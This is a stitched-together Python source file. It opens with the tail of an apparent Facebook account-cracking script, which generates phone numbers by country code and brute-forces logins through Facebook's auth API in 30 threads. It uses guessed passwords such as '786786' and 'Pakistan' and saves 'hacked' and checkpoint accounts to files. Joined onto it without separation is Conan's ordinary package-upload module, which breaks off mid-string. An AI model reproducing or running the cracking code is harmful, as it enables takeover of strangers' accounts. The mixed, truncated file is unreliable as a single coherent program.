country.Write the remaining digits here.65,70,73,74,76,77' try: c = raw_input('\x1b[1;94m choose code : ') k = '+33' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '19': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.151,152,153,155,157,159,160,162,179,163,174,163' try: c = raw_input('\x1b[1;94m choose code : ') k = '+49' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '20': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.11,12,13,14,15,16,17,18,19' try: c = raw_input('\x1b[1;94m choose code : ') k = '+60' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '21': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.71,72,73,74,75,76,77,78' try: c = raw_input('\x1b[1;94m choose code : ') k = '+94' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '22': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.55,54,53,52,50' try: c = raw_input('\x1b[1;94m choose code : ') k = '+90' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '23': os.system('clear') print logo print '\x1b[1;93m(leave the first tree digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,55,58,54,56' try: c = raw_input('\x1b[1;94m choose code : ') k = '+971' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '24': os.system('clear') print logo print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,51,52,53,54,55,56,57,58,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+966' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '25': os.system('clear') print logo print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here. 52,55' try: c = raw_input('\x1b[1;94m choose code : ') k = '+972' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '26': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.990,915,901,933,938,902' try: c = raw_input('\x1b[1;94m choose code : ') k = '+98' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '0': login() else: print '[!] Fill in correctly' action() xxx = str(len(id)) jalan('\x1b[1;94m[+] Total Numbers: ' + xxx) time.sleep(0.05) jalan( ' \x1b[1;95m[\xf0\x9f\x92\xa5]Plz Wait Cloned Accounts Will Appear Here' ) time.sleep(0.05) jalan('\x1b[1;91m[!] To Stop Process Press CTRL Then Press z') time.sleep(0.05) print 44 * '-' def main(arg): user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass1 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 + '\n') okb.close() oks.append(c + user + pass1) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass1 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 + '\n') cps.close() cpb.append(c + user + pass1) else: pass2 = '786786' data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass2 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass2 + '\n') okb.close() oks.append(c + user + pass2) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass2 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass2 + '\n') cps.close() cpb.append(c + user + pass2) else: pass3 = 'Pakistan' data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass3 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass3 + '\n') okb.close() oks.append(c + user + pass3) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass3 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass3 + '\n') cps.close() cpb.append(c + user + pass3) else: pass4 = user data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass4 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write( k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass4 + '\n') okb.close() oks.append(c + user + pass4) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass4 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write( k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass4 + '\n') cps.close() cpb.append(c + user + pass4) except: pass p = ThreadPool(30) p.map(main, id) print 44 * '-' print '\x1b[1;91mProcess Has Been Completed ....' print '\x1b[1;93mTotal OK/CP : ' + str(len(oks)) + '/' + str(len(cpb)) print '\x1b[1;96mCP File Has Been Saved : save/checkpoint.txt' print '\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80' raw_input('\n\x1b[1;97m[\x1b[1;97mBack\x1b[1;97m]') login()
class CmdUpload(object): """ This class is responsible for uploading packages to remotes. The flow is: - Collect all the packages to be uploaded with the UploadCollecter - Execute the upload. For every ref: - Upload the recipe of the ref: "_upload_recipe" - If not FORCE, check the date "_check_recipe_date", i.e. if there are changes, do not allow uploading if the remote date is newer than the local cache one - Retrieve the sources (exports_sources), if they are not cached, and uploading to a different remote. "complete_recipe_sources" - Gather files and create 2 .tgz (exports, exports_sources) with "_compress_recipe_files" - Decide which files have to be uploaded and deleted from the server based on the different with the remote snapshot "_recipe_files_to_upload" This can raise if upload policy is not overwrite - Execute the real transfer "remote_manager.upload_recipe()" - For every package_id of every ref: "_upload_package" - Gather files and create package.tgz. "_compress_package_files" - (Optional) Do the integrity check of the package - Decide which files to upload and delete from server: "_package_files_to_upload". Can raise if policy is NOT overwrite - Do the actual upload All the REVISIONS are local defined, not retrieved from servers This requires calling to the remote API methods: - get_recipe_sources() to get the export_sources if they are missing - get_recipe_snapshot() to do the diff and know what files to upload - get_package_snapshot() to do the diff and know what files to upload - get_recipe_manifest() to check the date and raise if policy requires - get_package_manifest() to raise if policy!=force and manifests change """ def __init__(self, cache, user_io, remote_manager, loader, hook_manager): self._cache = cache self._user_io = user_io self._output = progress_bar.ProgressOutput(self._user_io.out) self._remote_manager = remote_manager self._loader = loader self._hook_manager = hook_manager self._upload_thread_pool = None self._exceptions_list = [] def upload(self, reference_or_pattern, remotes, upload_recorder, package_id=None, all_packages=None, confirm=False, retry=None, retry_wait=None, integrity_check=False, policy=None, query=None, parallel_upload=False): t1 = time.time() collecter = _UploadCollecter(self._cache, self._user_io, self._output, self._loader) refs_by_remote = collecter.collect(package_id, reference_or_pattern, confirm, remotes, all_packages, query) if parallel_upload: self._user_io.disable_input() self._upload_thread_pool = ThreadPool( cpu_count() if parallel_upload else 1) for remote, refs in refs_by_remote.items(): self._output.info("Uploading to remote '{}':".format(remote.name)) def upload_ref(ref_conanfile_prefs): _ref, _conanfile, _prefs = ref_conanfile_prefs try: self._upload_ref(_conanfile, _ref, _prefs, retry, retry_wait, integrity_check, policy, remote, upload_recorder, remotes) except BaseException as base_exception: base_trace = traceback.format_exc() self._exceptions_list.append( (base_exception, _ref, base_trace, remote)) self._upload_thread_pool.map(upload_ref, [(ref, conanfile, prefs) for (ref, conanfile, prefs) in refs]) self._upload_thread_pool.close() self._upload_thread_pool.join() if len(self._exceptions_list) > 0: for exc, ref, trace, remote in self._exceptions_list: t = "recipe" if isinstance(ref, ConanFileReference) else "package" msg = "%s: Upload %s to '%s' failed: %s\n" % ( str(ref), t, remote.name, str(exc)) if get_env("CONAN_VERBOSE_TRACEBACK", False): msg += trace self._output.error(msg) raise ConanException("Errors uploading some packages") logger.debug("UPLOAD: Time manager upload: %f" % (time.time() - t1)) def _upload_ref(self, conanfile, ref, prefs, retry, retry_wait, integrity_check, policy, recipe_remote, upload_recorder, remotes): """ Uploads the recipes and binaries identified by ref """ assert (ref.revision is not None), "Cannot upload a recipe without RREV" conanfile_path = self._cache.package_layout(ref).conanfile() # FIXME: I think it makes no sense to specify a remote to "pre_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("pre_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) msg = "\rUploading %s to remote '%s'" % (str(ref), recipe_remote.name) self._output.info(left_justify_message(msg)) self._upload_recipe(ref, conanfile, retry, retry_wait, policy, recipe_remote, remotes) upload_recorder.add_recipe(ref, recipe_remote.name, recipe_remote.url) # Now the binaries if prefs: total = len(prefs) p_remote = recipe_remote def upload_package_index(index_pref): index, pref = index_pref try: up_msg = "\rUploading package %d/%d: %s to '%s'" % ( index + 1, total, str(pref.id), p_remote.name) self._output.info(left_justify_message(up_msg)) self._upload_package(pref, retry, retry_wait, integrity_check, policy, p_remote) upload_recorder.add_package(pref, p_remote.name, p_remote.url) except BaseException as pkg_exc: trace = traceback.format_exc() return pkg_exc, pref, trace, p_remote def upload_package_callback(ret): package_exceptions = [r for r in ret if r is not None] self._exceptions_list.extend(package_exceptions) if not package_exceptions: # FIXME: I think it makes no sense to specify a remote to "post_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("post_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) # This doesn't wait for the packages to end, so the function returns # and the "pool entry" for the recipe is released self._upload_thread_pool.map_async( upload_package_index, [(index, pref) for index, pref in enumerate(prefs)], callback=upload_package_callback) else: # FIXME: I think it makes no sense to specify a remote to "post_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("post_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) def _upload_recipe(self, ref, conanfile, retry, retry_wait, policy, remote, remotes): current_remote_name = self._cache.package_layout( ref).load_metadata().recipe.remote if remote.name != current_remote_name: complete_recipe_sources(self._remote_manager, self._cache, conanfile, ref, remotes) conanfile_path = self._cache.package_layout(ref).conanfile() self._hook_manager.execute("pre_upload_recipe", conanfile_path=conanfile_path, reference=ref, remote=remote) t1 = time.time() cache_files = self._compress_recipe_files(ref) with self._cache.package_layout(ref).update_metadata() as metadata: metadata.recipe.checksums = calc_files_checksum(cache_files) local_manifest = FileTreeManifest.loads( load(cache_files["conanmanifest.txt"])) remote_manifest = None if policy != UPLOAD_POLICY_FORCE: # Check SCM data for auto fields if hasattr(conanfile, "scm") and (conanfile.scm.get("url") == "auto" or conanfile.scm.get("revision") == "auto" or conanfile.scm.get("type") is None or conanfile.scm.get("url") is None or conanfile.scm.get("revision") is None): raise ConanException( "The recipe contains invalid data in the 'scm' attribute" " (some 'auto' values or missing fields 'type', 'url' or" " 'revision'). Use '--force' to ignore this error or export" " again the recipe ('conan export' or 'conan create') to" " fix these issues.") remote_manifest = self._check_recipe_date(ref, remote, local_manifest) if policy == UPLOAD_POLICY_SKIP: return ref files_to_upload, deleted = self._recipe_files_to_upload( ref, policy, cache_files, remote, remote_manifest, local_manifest) if files_to_upload or deleted: self._remote_manager.upload_recipe(ref, files_to_upload, deleted, remote, retry, retry_wait) self._upload_recipe_end_msg(ref, remote) else: self._output.info("Recipe is up to date, upload skipped") duration = time.time() - t1 log_recipe_upload(ref, duration, cache_files, remote.name) self._hook_manager.execute("post_upload_recipe", conanfile_path=conanfile_path, reference=ref, remote=remote) # The recipe wasn't in the registry or it has changed the revision field only if not current_remote_name: with self._cache.package_layout(ref).update_metadata() as metadata: metadata.recipe.remote = remote.name return ref def _upload_package(self, pref, retry=None, retry_wait=None, integrity_check=False, policy=None, p_remote=None): assert (pref.revision is not None), "Cannot upload a package without PREV" assert (pref.ref.revision is not None), "Cannot upload a package without RREV" pkg_layout = self._cache.package_layout(pref.ref) conanfile_path = pkg_layout.conanfile() self._hook_manager.execute("pre_upload_package", conanfile_path=conanfile_path, reference=pref.ref, package_id=pref.id, remote=p_remote) t1 = time.time() the_files = self._compress_package_files(pkg_layout, pref, integrity_check) if policy == UPLOAD_POLICY_SKIP: return None files_to_upload, deleted = self._package_files_to_upload( pref, policy, the_files, p_remote) if files_to_upload or deleted: self._remote_manager.upload_package(pref, files_to_upload, deleted, p_remote, retry, retry_wait) logger.debug("UPLOAD: Time upload package: %f" % (time.time() - t1)) else: self._output.info("Package is up to date, upload skipped") duration = time.time() - t1 log_package_upload(pref, duration, the_files, p_remote) self._hook_manager.execute("post_upload_package", conanfile_path=conanfile_path, reference=pref.ref, package_id=pref.id, remote=p_remote) logger.debug("UPLOAD: Time uploader upload_package: %f" % (time.time() - t1)) # Update the package metadata checksums = calc_files_checksum(the_files) with pkg_layout.update_metadata() as metadata: cur_package_remote = metadata.packages[pref.id].remote if not cur_package_remote: metadata.packages[pref.id].remote = p_remote.name metadata.packages[pref.id].checksums = checksums return pref def _compress_recipe_files(self, ref): export_folder = self._cache.package_layout(ref).export() for f in (EXPORT_TGZ_NAME, EXPORT_SOURCES_TGZ_NAME): tgz_path = os.path.join(export_folder, f) if is_dirty(tgz_path): self._output.warn("%s: Removing %s, marked as dirty" % (str(ref), f)) os.remove(tgz_path) clean_dirty(tgz_path) files, symlinks = gather_files(export_folder) if CONANFILE not in files or CONAN_MANIFEST not in files: raise ConanException("Cannot upload corrupted recipe '%s'" % str(ref)) export_src_folder = self._cache.package_layout(ref).export_sources() src_files, src_symlinks = gather_files(export_src_folder) the_files = _compress_recipe_files(files, symlinks, src_files, src_symlinks, export_folder, self._output) return the_files def _compress_package_files(self, layout, pref, integrity_check): t1 = time.time() # existing package, will use short paths if defined package_folder = self._cache.package_layout( pref.ref, short_paths=None).package(pref) if layout.package_is_dirty(pref): raise ConanException("Package %s is corrupted, aborting upload.\n" "Remove it with 'conan remove %s -p=%s'" % (pref, pref.ref, pref.id)) tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME) if is_dirty(tgz_path): self._output.warn("%s: Removing %s, marked as dirty" % (str(pref), PACKAGE_TGZ_NAME)) os.remove(tgz_path) clean_dirty(tgz_path) # Get all the files in that directory files, symlinks = gather_files(package_folder) if CONANINFO not in files or CONAN_MANIFEST not in files: logger.error("Missing info or manifest in uploading files: %s" % (str(files))) raise ConanException("Cannot upload corrupted package '%s'" % str(pref)) logger.debug("UPLOAD: Time remote_manager build_files_set : %f" % (time.time() - t1)) if integrity_check: self._package_integrity_check(pref, files, package_folder) logger.debug( "UPLOAD: Time remote_manager check package integrity : %f" % (time.time() - t1)) the_files = _compress_package_files(files, symlinks, package_folder, self._output) return the_files def _recipe_files_to_upload(self, ref, policy, files, remote, remote_manifest, local_manifest): self._remote_manager.check_credentials(remote) remote_snapshot = self._remote_manager.get_recipe_snapshot(ref, remote) if not remote_snapshot: return files, set() deleted = set(remote_snapshot).difference(files) if policy != UPLOAD_POLICY_FORCE: if remote_manifest is None: # This is the weird scenario, we have a snapshot but don't have a manifest. # Can be due to concurrency issues, so we can try retrieve it now try: remote_manifest, _ = self._remote_manager.get_recipe_manifest( ref, remote) except NotFoundException: # This is weird, the manifest still not there, better upload everything self._output.warn( "The remote recipe doesn't have the 'conanmanifest.txt' " "file and will be uploaded: '{}'".format(ref)) return files, deleted if remote_manifest == local_manifest: return None, None if policy in (UPLOAD_POLICY_NO_OVERWRITE, UPLOAD_POLICY_NO_OVERWRITE_RECIPE): raise ConanException( "Local recipe is different from the remote recipe. " "Forbidden overwrite.") return files, deleted def _package_files_to_upload(self, pref, policy, the_files, remote): self._remote_manager.check_credentials(remote) remote_snapshot = self._remote_manager.get_package_snapshot( pref, remote) if remote_snapshot and policy != UPLOAD_POLICY_FORCE: if not is_package_snapshot_complete(remote_snapshot): return the_files, set() remote_manifest, _ = self._remote_manager.get_package_manifest( pref, remote) local_manifest = FileTreeManifest.loads( load(the_files["conanmanifest.txt"])) if remote_manifest == local_manifest: return None, None if policy == UPLOAD_POLICY_NO_OVERWRITE: raise ConanException( "Local package is different from the remote package. Forbidden" " overwrite.") deleted = set(remote_snapshot).difference(the_files) return the_files, deleted def _upload_recipe_end_msg(self, ref, remote): msg = "\rUploaded conan recipe '%s' to '%s'" % (str(ref), remote.name) url = remote.url.replace("https://api.bintray.com/conan", "https://bintray.com") msg += ": %s" % url self._output.info(left_justify_message(msg)) def _package_integrity_check(self, pref, files, package_folder): # If package has been modified remove tgz to regenerate it self._output.rewrite_line("Checking package integrity...") # short_paths = None is enough if there exist short_paths layout = self._cache.package_layout(pref.ref, short_paths=None) read_manifest, expected_manifest = layout.package_manifests(pref) if read_manifest != expected_manifest: self._output.writeln("") diff = read_manifest.difference(expected_manifest) for fname, (h1, h2) in diff.items(): self._output.warn( "Mismatched checksum '%s' (manifest: %s, file: %s)" % (fname, h1, h2)) if PACKAGE_TGZ_NAME in files: tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME) try: os.unlink(tgz_path) except OSError: pass error_msg = os.linesep.join( "Mismatched checksum '%s' 